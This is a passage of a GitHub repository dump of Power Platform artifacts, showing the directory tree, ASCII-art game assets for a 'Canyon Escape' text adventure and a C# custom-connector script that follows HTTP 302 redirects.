├── Canyon Escape
├── Canyon Escape Code Review.html
├── Canyon Escape Process.html
├── Canyon Escape Review.html
├── Canyon Escape.svg
├── Map.xlsx
├── TextBasedGame_1_0_0_1.zip
├── bodmas.txt
├── canoe.txt
├── canyon escape flow.png
├── compass.txt
├── complete.txt
├── fruit.txt
├── lamp.txt
├── map.txt
├── pilots journal.txt
├── rope.txt
└── skull key.txt
├── Copilot
└── David Wyatt Blogs.agent
├── Custom Connectors
├── 302 redirect.cs
├── AutoReview_1_0_0_0.zip
├── AutoReview_CustomConnector_1_0_0_1.zip
├── AutoReview_CustomConnector_2_0_0_0_managed.zip
└── Regex_CustomerConnector_1_0_0_1.zip
├── Exam Marker
├── Exam Marker.osts
├── ExamMarker_1_0_0_1.zip
├── ms forms questions schema.json
└── ms forms responses schema.json
├── Hacking
└── Misuse Shared Connection References
│ ├── Misuse Connections Hack.postman_collection.json
│ └── Power Platform Environment.postman_environment.json
├── Office Scripts
├── Bulk Email Conversion.osts
├── CSV to JSON.osts
├── HTML to JSON.osts
├── Regex.osts
├── Simple Copy.osts
├── Sort Array.osts
└── Testing API.osts
├── Power App Artifacts
├── 404AppNotFound.zip
├── 5 Calculators.zip
├── Captcha_1_0_0_4.zip
├── DynamicListSorter_1_0_0_1.zip
├── FlappyApp.zip
├── Flow Builder
│ ├── Flow Templates.xlsx
│ └── FlowBuilder_1_0_0_2 (1).zip
├── GameOfLife_1_0_0_2.zip
├── Menu_1_0_0_1.zip
├── PlanningPoker_1_0_0_1.zip
├── PollingApp_1_0_0_2.zip
├── PowerPlatformSDD.zip
├── SantaTracker_1_0_0_1.zip
├── Snake_1_0_0_1.zip
├── StackedNotificationToastDemo_1_0_0_1.zip
└── Tags_1_0_0_1.zip
├── Power Automate Artifacts
├── Bulk emailer
│ ├── Bulk Email Conversion.osts
│ ├── BulkEmailerwithOfficeScript_20220314125441.zip
│ ├── bluk email example.html
│ └── bulk email list example.xlsx
├── Canyon Escape
│ ├── Canyon Escape Code Review.html
│ ├── Canyon Escape Process.html
│ ├── Canyon Escape Review.html
│ ├── Canyon Escape.svg
│ ├── Map.xlsx
│ ├── TextBasedGame_1_0_0_1.zip
│ ├── bodmas.txt
│ ├── canoe.txt
│ ├── canyon escape flow.png
│ ├── compass.txt
│ ├── complete.txt
│ ├── fruit.txt
│ ├── lamp.txt
│ ├── map.txt
│ ├── pilots journal.txt
│ ├── rope.txt
│ └── skull key.txt
├── ChangeConnections_1_0_0_1.zip
├── Custom Form
│ ├── CustomForm_1_0_0_1.zip
│ ├── custom form.html
│ ├── fancy custom form.html
│ ├── simple custom form file.html
│ └── simple custom form.html
├── EditZippedFile_1_0_0_1.zip
├── Exam Marker
│ ├── Exam Marker.osts
│ ├── ExamMarker_1_0_0_1.zip
│ ├── ms forms questions schema.json
│ └── ms forms responses schema.json
├── ExceptionGenerator_1_0_0_1.zip
├── GPT Flow Documentation
│ ├── Classification template.html
│ └── Create a task in Planner from Microsoft Forms and post message in Teams.html
├── MissingDependencies_1_0_0_1_managed.zip
├── MoveFlowstoDataverse_1_0_0_1.zip
├── PipeLine_PoC.zip
├── PlatformTools_1_0_0_2.zip
├── ProcessCSV_1_0_0_1_managed.zip
├── ReadHTMLTable_1_0_0_1.zip
├── SuperSwtich_1_0_0_1-1.zip
├── UnprotectExcel_1_0_0_1.zip
├── UpdateSPNSecret_1_0_0_1.zip
├── UpdateSPNSecret_1_0_0_2.zip
├── XML_1_0_0_1.zip
├── ms learn
│ ├── MSLearnChecker_1_0_0_1.zip
│ ├── Power Platform Training (4).osts
│ ├── ms learn collection.json
│ └── ms learn transcript.json
└── wordle
│ ├── PowerWordle_1_0_0_2.zip
│ ├── power platform words.txt
│ ├── powordle.html
│ └── wordle.js
├── Power Platform APIs
├── BAP.postman_collection.json
├── Dataverse.postman_collection.json
├── Flow.postman_collection.json
└── Power Platform.postman_collection.json
├── README.md
├── TamperMonkey Scripts
├── Power Automate Bug Fix..user.js
└── Trigger Power Automate Test.user.js
└── ms learn
├── MSLearnChecker_1_0_0_1.zip
├── Power Platform Training (4).osts
├── ms learn collection.json
└── ms learn transcript.json
/Canyon Escape/Map.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Canyon Escape/Map.xlsx
--------------------------------------------------------------------------------
/Canyon Escape/TextBasedGame_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Canyon Escape/TextBasedGame_1_0_0_1.zip
--------------------------------------------------------------------------------
/Canyon Escape/canoe.txt:
--------------------------------------------------------------------------------
1 | .........................................................................................:::.......:............:--:..::::::
2 | ..................... ..............................................................:::..:.:............::-==-:.:::::---::::
3 | .............. .......................................:...........::::::::::....:::::.:..:.:--::::.....:-==+===-::.:=====--:
4 | ..... .....................:::........................:---=--:........::::...::::::------::-----::---:--:.:.::.::::--:-..:-=
5 | .............................::......::::.........:...::....::...::...::.......::-=+=-:.........:....:--:.:---::.::.--=-=-:.
6 | .:::...::::-::::::::.::::.........:--:..........:-==-::..:::.-==-:::::.:.::...-=-:....:::-:::::=+=::--=---::-----:.:::::.:-=
7 | .:....::::.:..:-==--:::...:::..:---:......:--=+=--:-====--:::::::::....:--:::-=:::.:-.:-=-:.::.:.::::::..:--==--:=@@@@=:-:::
8 | :...:::....:..-::..:..:::.:.:.:--:......:-:::....:::...::::-:...........:.:.::---:...:..:::.:..::.....:.::::-::.:@@@@@#=++==
9 | -:.::::.:::----.:..:.::--:-:-::----:::-=++=--::-=+-:..::....:--==-..:--:..:-:......-=-:::......::-----::.::.:.-#@@@*@@@-=++-
10 | -.:::-==++===-..:-::.:..::---:-----..:::....:---:.:---===:..::--=+++=-=====---=--::-::.:--==-::::...:::::.=%@@@@@@++%@@.-:::
11 | -:-:.:::.-.:.:.::.:.::....:.:.:::.=+-.:-----::..:...:==+++==--:.......:..::-::::..::::::..::---:-*@@@@@@@@@@@@@@@:@+=@@=:...
12 | -:....:==:::.:+=--..:-=====---:::::--:=+=--=+===**+=--:.:-=--::....::::---:-=-::::::...:+#@@@@@@@@@@@@@@@@@@@%=:@@*-=@@++***
13 | -:..:-==-:-::--.---:..:-=+==++**=:.::-==---==-:.:.--:.---::....:::::----::..:==+*#%@@@@@@@@@@@@@@@@%*=-:.:..=%@@@-+=#@@--==+
14 | .:--::-=+-:..:--::=+=-:.:-::..:::--:::...:.:-:...::...:::::::::--------:-+#@@@@@@@@@@@@@@@@%*-.=++=++**+-=#@@@#-+*.@@@+.....
15 | ::::..-:-=-::::::--:::....:-===-..:::::.::=++=----:::-===--==++==+**@@@@@@@@@@@@@@%*++*-.-:--==****+=-=##*=:.=#@+=@@@=:::...
16 | .::..:--:-=====-:...:=*###*+*+=-:.:....:------:....::.........-+%@@@@@@@@@@@*=::-:+*=-*=--:.:-=+=**+-.--:-+##**#*#@@@%-::---
17 | :-==-::...:-=--=*##%%%#***##*+===========-.....::::::..:=%@@@@@@@@@@@@%#+=-=--=:-+#*-:+++*+-:--:-+##***%@#+--+++*@@@@@=-===+
18 | ++====-:.::::----::.:-=----===:..:-+*##*+===---+#%@@@@@@@@@@@@@@+:-:-:-===+*=-.:-:--:=--=**=:=*%@@@%#*+====-::..::-*@@-:::::
19 | ::..:...:::::.:-+##*=---=+=:.:.:--==--:..::-+%@@@@@@@@@@@@*.:+***=+=+-==:--++-.-+#%@#-==+*@%*#%%*=------:.......::-%@%......
20 | .::-+%@@@@@%*-:::=+=-:::--=++======--::=#@@@@@@@@@@@+=:=#@*==*-:--*+=+=.==++=-:-=+++***+#%#=--:::-===-:.....::.:..+@@=------
21 | ..-%@@@@@#--::-+*##*+==++*+=-=+*#@@@@@@@@@@@@@+----+-.:*=+-.:+-++==##*+..:==+#%%%%@@@#=.::.:---=---:.............:@@+-==+++*
22 | .:#@@*-=%@%##*-::...---::::=%@@@@@@@@@@@#=..::.:.-=-=--=+:*#+-:..-++-=*::=+++*+.-:..::..-++*+=-:............:*@@@@@#:---::..
23 | :-@@=:--=@@@@+-::.::-#@@@@@@@@@@@@*:=--:---=***%@@@%+:..=--=++###**+-:**+=:.:=:-=--=+**##+:...........:...-*@@@@@@*::.......
24 | *#@@*=----@@@@@@@@@@@@@@@@@@%=--.==*##%@#+=+*#+:.:---=++*@@@*--=+++--:::---+##*%%#*++++-:..............:*@@@@*::-::::...::::
25 | :+@%--::==.+@@@@@@@@@+::--=++=::=+-:+:::-=-+#*#%@@@%*-=*+-:.--==-:--=*@@@%#*=---:...................-*%@@@%+::-::..::..::...
26 | =@@=##*+==++-.::.::-:.:::..::.:::-:-*####*+=**=-=--::.=:-:--=*+=:::=+*#+++++--:.......:::...... .-+#@@@%+::::.......::::::::
27 | %@@=:---::=++*+=:.-:.:.....:=-.--::--:.:-:--::..::..--+:-:::::-=+*%@@@*--:....................:+#%%%*=.::::::::::::::::::...
28 | *@++-.::-:.:-=+=-====-==-----==-::..:--=+-+====+++===+=-------:-==-:.:::::::::::::::......:=*#%@%*-...::::...:::::::::::::--
29 | %@.*=-==-..::.:-=*==+---::-*=+*++****+-==:-++++++===--:.:::....::::--:::..:::::::.....:=*#%%%#*-.....:....::::::::::::::::::
30 | @@:+=-:---===++-=*--======**:-=+*+++=--=-::-------::::................:::.........:=+*#%%#*-:.:::::::::::::::::::..:::::::::
31 | %@:++****###%#*+==-:-...:=+-.::------==-::::.....................:......:..:..:=+#####*=:..........:.:::::..::...:::::::::::
32 | *@+--=+++**++=---::.::--==-:.:::::::...................................:..:=+*****+-:..::.............:::::................:
33 | :%@-:-=---::::..:::-.:==--:..::............................. .........-=+*##**=:..:..:.........::.......:::.................
34 | =-*#*+=-::-===-:.:-----...........................................:=+***++-:.....................................::::::::...
35 | ..:+#%@%%##*=:-=+*++=-....................................::-=+*****+=:.................................................::::
36 | :::::=+++=:+##*+:.................:::::::............::-=+++++++==-:........................................................
37 | .......-+#%#*-.........:::.....................::=+*#*****+=-:........................................:::::::...............
38 | -::..:+%@%+:.........................:...:=+******++==-:.................::...::::::::......................::..............
39 | :::::+%#=.:::......................:=+**++**+++=-:.:-::::::::................::::::::::--::::::.............................
40 | -====#*:......................:-===+*+++=-::................:...............::....::::::::::::::::....... ..................
41 | --:::==........ .........:-====++++-..:......:..................................::...:::::::::::::::::......................
42 | ::-:-=+:..............:-==+===-.........................................................:::::...............................
43 | :::::=*=:..........:=+++=-:..................... ...........................................................................
44 | ..::::=*+-........-++=::..........................................:::.......................................................
45 | ::::::.-=+=:.....:+=.........:......... .................................................................:........... ......
46 | .........-==-::::-=:..........:.........................::............................ .................::::................
47 | ..........:=====--:......................::..............:....::........................................................ ..
--------------------------------------------------------------------------------
/Canyon Escape/canyon escape flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Canyon Escape/canyon escape flow.png
--------------------------------------------------------------------------------
/Canyon Escape/compass.txt:
--------------------------------------------------------------------------------
1 |
2 | __ ____ ____ __ __ ___ ____ ___ _____ __ ____ ____ ___
3 | / ] / || \ | | | / \ | \ / _] / ___/ / ] / || \ / _]
4 | / / | o || _ || | || || _ | / [_ ( \_ / / | o || o ) / [_
5 | / / | || | || ~ || O || | | | _] \__ | / / | || _/ | _]
6 | / \_ | _ || | ||___, || || | | | [_ / \ |/ \_ | _ || | | [_
7 | \ || | || | || || || | | | | \ |\ || | || | | |
8 | \____||__|__||__|__||____/ \___/ |__|__| |_____| \___| \____||__|__||__| |_____|
9 |
10 | |<><><><><><><><><><><><><><><><><><><><><><><>|
11 | | * |
12 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ |
13 | | (o ) . ( o) |
14 | | \/ .` `. \/ |
15 | | /\ .` `. /\ |
16 | | ( .` `. ) |
17 | | ) .` N `. ( |
18 | | ( .` A | `. ) |
19 | | ) .` <\> )|( `. ( |
20 | | ( .` \ | ( `. ) |
21 | | ) .` ) \ | ( `. ( |
22 | | .` ) \| ( `. |
23 | | .` W---)--------O--------(---E `. |
24 | | `. ) |\ ( .` |
25 | | ) `. ) | \ ( .` ( |
26 | | ( `. ) | \ .` ) |
27 | | ) `. )|( <\> .` ( |
28 | | ( `. | .` ) |
29 | | ) `. S .` ( |
30 | | ( `. .` ) |
31 | | \/ `. .` \/ |
32 | | /\ `. .` /\ |
33 | | (o ) `.` ( o) |
34 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ |
35 | | -|- LGB|
36 | |<><><><><><><><><><><><><><><><><><><><><><><>|
--------------------------------------------------------------------------------
/Canyon Escape/complete.txt:
--------------------------------------------------------------------------------
1 | .''.
2 | .''. . *''* :_\/_: .
3 | :_\/_: _\(/_ .:.*_\/_* : /\ : .'.:.'.
4 | .''.: /\ : /)\ ':'* /\ * : '..'. -=:o:=-
5 | :_\/_:'.:::. | ' *''* * '.\'/.'_\(/_'.':'.'
6 | : /\ : ::::: = *_\/_* -= o =- /)\ ' *
7 | '..' ':::' === * /\ * .'/.\'. ' ._____
8 | * | *..* : |. |' .---"|
9 | * | _ .--'| || | _| |
10 | * | .-'| __ | | | || |
11 | .-----. | |' | || | | | | | || |
12 | ___' ' /"\ | '-."". '-' '-.' '` |____
13 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
14 | ~-~-~-~-~-~-~-~-~-~ /|
15 | ) ~-~-~-~-~-~-~-~ /|~ /_|\
16 | _-H-__ -~-~-~-~-~-~ /_|\ -~======-~
17 | ~-\XXXXXXXXXX/~ ~-~-~-~ /__|_\ ~-~-~-~
18 | ~-~-~-~-~-~ ~-~~-~-~-~-~ ======== ~-~-~-~
--------------------------------------------------------------------------------
/Canyon Escape/fruit.txt:
--------------------------------------------------------------------------------
1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀
2 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠉⠹⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠅⠀⠀⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀
3 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠉⣻⣷⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
4 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⣀⣠⡾⠋⠀⠈⠛⠿⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
5 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡟⠉⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⣄⠀⠀⠈⠉⡳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
6 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣶⣶⣄⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠙⢷⣆⡀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠀⠀⢀⡀⠴⠀⠀⠀⠀⠀⠀⠀⠀
7 | ⠀⠀⠀⠀⠀⢀⣤⣶⡿⠿⠿⠿⣷⣦⣤⣀⡀⣰⣿⠋⠀⠙⣿⡇⠀⠀⠀⣿⠀⠀⠀⠀⠷⡀⠀⠀⠀⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
8 | ⠀⠀⠀⢀⣴⡿⠛⠁⠀⠀⠀⠀⠀⠈⠉⠛⢿⣿⠋⠀⠀⣴⣿⠇⠀⠀⠀⣿⡆⠀⠀⠀⠀⠹⡄⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
9 | ⠀⠀⢠⣾⡟⠁⢀⡴⠂⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⣀⣴⣿⣯⡀⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠘⢦⡀⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
10 | ⠀⢀⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠉⠣⡀⠙⠻⣷⣄⠀⢸⣿⠀⠀⠀⠀⠀⠀⠈⢷⡄⠀⠀⠀⠀⢘⣿⡀⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
11 | ⠀⣾⣿⠷⢤⣤⣤⣤⣤⡴⣶⠀⠀⠀⠀⢀⡾⠃⠀⠀⠀⠙⣆⠀⠈⠻⣧⡀⢿⣆⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⡺⣿⡇⠐⢄⠀⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
12 | ⢸⣿⡇⠀⣠⠟⣀⠀⠀⠀⢸⣆⠀⠀⠀⡾⠁⠀⠀⠀⠀⠀⠘⣇⠀⠀⢻⣧⠘⣿⡆⠀⠀⠀⠀⠀⠀⣤⣄⠀⠀⢀⣵⠃⠀⠀⠀⠑⢄⠀⠀⠘⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
13 | ⢸⣿⠀⠀⢿⣀⣼⣧⣄⠀⠀⢿⣄⠀⠀⠁⠀⣀⣶⡀⠀⠀⠀⢸⡆⠀⢸⣿⠀⠹⣿⡄⠀⠀⠀⠀⠘⣿⡿⠁⠰⠛⠁⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
14 | ⢸⣿⠀⢰⡟⠻⣿⣿⣿⠀⠀⠀⠙⠷⠶⠶⠿⠋⠙⣧⡀⠀⠀⠈⡇⠀⣸⡿⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣆⡀⠀⠀⠀⠀⠀⠀
15 | ⢸⣿⠀⠈⠛⠒⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⠀⠀⠃⣸⣿⠇⠀⠀⠀⠙⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠦⣄⠀⠀⠀⠀⠀⠀⠙⢦⠀⠀⠙⢷⣄⠀⠀⠀⠀⠀
16 | ⢸⣿⡇⠀⠀⠀⠀⠀⠀⠰⣶⣤⣀⡀⢠⣾⣿⣶⠀⠀⠀⠻⣦⣄⢠⣿⠋⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⠀⠀⠀
17 | ⠀⢿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠈⣿⠿⣿⠀⠀⠀⠀⣰⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀
18 | ⠀⠈⣿⣷⡄⠀⠀⠀⠀⠀⠀⢀⣠⠀⢀⠻⠦⠾⠀⠀⣠⣾⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠛⣷
19 | ⠀⠀⠈⢻⣿⣦⡀⠀⠀⢰⡟⠉⢿⣤⣼⠀⠀⣠⣴⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⣠⣿
20 | ⠀⠀⠀⠀⠈⠿⣿⣶⣦⣌⣣⣴⣿⣤⣿⣾⣿⡿⠟⠉⠀⠀⠀⠀⠙⠲⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣷⣦⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣶⣿⠿⠟⠃
21 | ⠀⠀⠀⠐⠶⠄⣀⣉⣛⣛⠛⠛⠛⠛⠋⠉⠀⠀⠀⠀⠀⢀⣀⣀⣠⠴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⠲⠦⠤⠄⠀⠀⠈⠉⠛⠛⠿⠿⠿⠿⠿⠿⠿⠿⠛⠛⠉⠀⠀⠀⠀⠀
22 | ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠛⠒⠒⠛⠛⠛⠋⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
23 |
24 |
--------------------------------------------------------------------------------
/Canyon Escape/lamp.txt:
--------------------------------------------------------------------------------
1 | ___!___
2 | / | \
3 | / | \
4 | / | \
5 | /______|______\
6 | \ )|( /
7 | \ ( | ) /
8 | \ =|= /
9 | \__|__/
10 | ,,,
11 | ,;;;;;,
12 | '-===;;( );;===-'
13 | `<>o<>'
14 | //"\\
15 | |/| |\|
16 | | |
17 | | |
18 | | |
19 | | |
20 | lc|
--------------------------------------------------------------------------------
/Canyon Escape/map.txt:
--------------------------------------------------------------------------------
1 | x\ \ \ * \ \ \ \ x
2 | x| | | ? | d | ? x
3 | x x
4 | x| | ? | x
5 | x| ? d | x
6 | x? --------? ----x
7 | x| ? | | | ? x
8 | x d ? | ? ? x
9 | x| | | ? ? x
10 | x* \ \ \ \ \ \ \ x
--------------------------------------------------------------------------------
/Canyon Escape/pilots journal.txt:
--------------------------------------------------------------------------------
1 | 4+ 5 × 32 – 2
--------------------------------------------------------------------------------
/Canyon Escape/rope.txt:
--------------------------------------------------------------------------------
1 | \\//
2 | //
3 | //\\
4 | \\//
5 | //
6 | //\\
7 | \\//
8 | //
9 | //\\
10 | \\//
11 | //
12 | //\\
13 | \\//
14 | //
15 | //\\
16 | \\//
17 | //
18 | //\\
19 | \\//
20 | //
21 | //\\
22 | \\//
23 | //
24 | //\\
25 | \\//
26 | //
27 | //\\
28 | \\//
29 | //
30 | //\\
31 | \\//
32 | //
33 | //\\
34 | \\//
35 | //
36 | //\\
37 | THE ROPE
38 |
--------------------------------------------------------------------------------
/Canyon Escape/skull key.txt:
--------------------------------------------------------------------------------
1 | ....... ..... ....... ....... ...... ......
2 | ....... .... ....... ..... ....... .....
3 | .... ...... ...... ..
4 | ..... .... .. .....
5 | ...... ...... ...:-===-. ....
6 | ...... .. ...... .=@@@@@@@@@@@@#:...
7 | ...... ...... ...... ....:#@@@@@@@@@@@@@@@@@=. ...
8 | ...... ....... ....... .....+@@@@@@@@@@@@@@@@@@@@@+. .....
9 | ....... ...... ...... .....+@@@@@@@@@@@@@@@@@@@@@@@%-. .......
10 | ..... ...... ...... .......-@@@@@@@@@@@@@@@@@@@@@@@@@@*......
11 | .. ....... .... ....::=%@@@%@@@@@@@@@@@@@@@@@@@@@@@@#...
12 | ....... ....-%@@@@+:. .:#@@@@@@@@@@@@@@@@@@@@@@+.
13 | . .... ...:%@@@@- .=@@@@@@@@@@@@@@@@@@@@@%:
14 | . ...... .*@@@@: ....-@@@@@@@@@@@@@@@@@@@@@- ...
15 | .... ...... .=@@@%: ......:@@@@@@@@@@@@@@@@@@@@@- ....
16 | ...... ...... ..... #@@@@#-....+@@@@@@@@@@@@@@@@@@@@@%: ......
17 | ...... ...... ...... *@@@@@@@@@@@@@@@+.:*@@@@@@@@@@@@@@+ ......
18 | ....... ...... ..... .*@@@@@@@@%#*@@@#: ...:%@@@@@@@@@@*. ......
19 | ...... ...... ....... .#@@@@@*:. =@@+ ......+@@@@@@@@+ .......
20 | ....... .... ...... .%@@@@%=.. .#@@#...... :@@@@@@*:.......
21 | ...... ...... .#@@@@@%:.=@@@@*... ..#@@@*: ....
22 | ... ... .... .:#@@@@@@@@@@@@@@@@#---+@@%:
23 | ...... .....*@@@@@@@@@@@@@@@@@@@@@@@@@: ...
24 | ...... .....+@@@@@@@@--#@@@@@@=::#@@@@@+......
25 | ....... ..... .....=@@@@@@@@+.....:+=. .:+*=....... .
26 | ...... ....... ......-%@@@@@@@*. ...... ....... .....
27 | ...... ..... .....:#@@@@@@@*: ....... ...... .......
28 | ..... ...... .....#@@@@@@@%: ..... ....... ......
29 | .. ...... ....*@@@@@@@%- ....... ..... ......
30 | ...... .=@@@@@@@@=. ...... .... .......
31 | .. .... .=@@@@@@@@+. ..... .......
32 | ... .....:%@@@@@@@*. .. ..... ....
33 | . ... ......:#@@@@@@@#: ..... ..
34 | ..... .....*@@@@@@@%-..... ....... ....
35 | ....... ......+@@@@@@@@-. ..... ....... ..... .....
36 | ..... .....=@@@@@@@@+........ ....... ....... .......
37 | ....... .....-%@@@@@@@*. ...... ....... ....... .......
38 | ...... ...:#@@@@@@@%: ....... ..... ....... ........
39 | ...... .#@@@@@@@@@@@-.... .. ....... ....
40 | ... ... ..+@@@@@@@@@@@@@@%-. ......
41 | .....=@@@@@@@@@@@@@@@@@@#: .... ....
42 | ......=@@@@@@@@@@@@@@@@@@@@@@*. ..... ....
43 | .:=. .....:%@@@@@@@@@@@@@@@@@@@@@@@@*. ....... .... .......
44 | .:-. .....:#@@@@@@@@@@@@@@+. .*@@@@@@=........ ...... ...... ....
45 | .:-. .....*@@@@@@@@@@@@@@%.. :*@@+........ ....... ....... .......
46 | .:-. .....+@@@@@@@@@@@@@@@@@+. ........... ....... ...... .......
47 | .:-. ...:%@@@@@@@+.#@@@@@@@@@%-. ..... ...... ....... ........
48 | .:-. -@@@@@@*. ..:#@@@@@@@@@#. .. ....... ..... .......
49 | .:-. .-#@@*: ....-%@@@@@@@-. ...... .......
50 | ..-. .-@@@@=..... .... .....
51 | .:-. .-=........ ..... .
52 | ..-. .... ....... .... ....... ...
53 | .:-. ...... ...... ...... ...... ..... ....
54 | ..-. ...... ........ ...... ...... ....... .......
55 | .. ...... ....... ....... ....... ...... ......
56 |
--------------------------------------------------------------------------------
/Copilot/David Wyatt Blogs.agent:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Agent Generator
7 |
42 |
43 |
44 | Agent Generator
45 |
55 |
108 |
109 |
--------------------------------------------------------------------------------
/Custom Connectors/302 redirect.cs:
--------------------------------------------------------------------------------
1 | public class Script : ScriptBase
2 | {
3 | public override async Task ExecuteAsync()
4 |
5 | {
6 | HttpResponseMessage response = await this.Context.SendAsync(this.Context.Request, this.CancellationToken).ConfigureAwait(false);
7 | if (response.StatusCode == HttpStatusCode.Found)
8 | {
9 | if (response.Headers.Location != null)
10 | {
11 | var redirectUrl = response.Headers.Location.ToString();
12 | var redirectRequest = new HttpRequestMessage(HttpMethod.Get, redirectUrl);
13 | response = await this.Context.SendAsync(redirectRequest, this.CancellationToken).ConfigureAwait(true);
14 | }
15 | else
16 | {
17 | // If the Location header is not present, return an error response
18 | response = new HttpResponseMessage(HttpStatusCode.BadRequest);
19 | response.Content = CreateJsonContent("Location header missing in the redirect response.");
20 | }
21 | }
22 | else if (response.IsSuccessStatusCode)
23 | {
24 |
25 | var responseString = await response.Content.ReadAsStringAsync().ConfigureAwait(false);
26 | var result = JObject.Parse(responseString);
27 | var newResult = new JObject
28 | {
29 | ["wrapped"] = result,
30 | };
31 | response.Content = CreateJsonContent(newResult.ToString());
32 | }
33 | return response;
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/Custom Connectors/AutoReview_1_0_0_0.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom Connectors/AutoReview_1_0_0_0.zip
--------------------------------------------------------------------------------
/Custom Connectors/AutoReview_CustomConnector_1_0_0_1.zip:
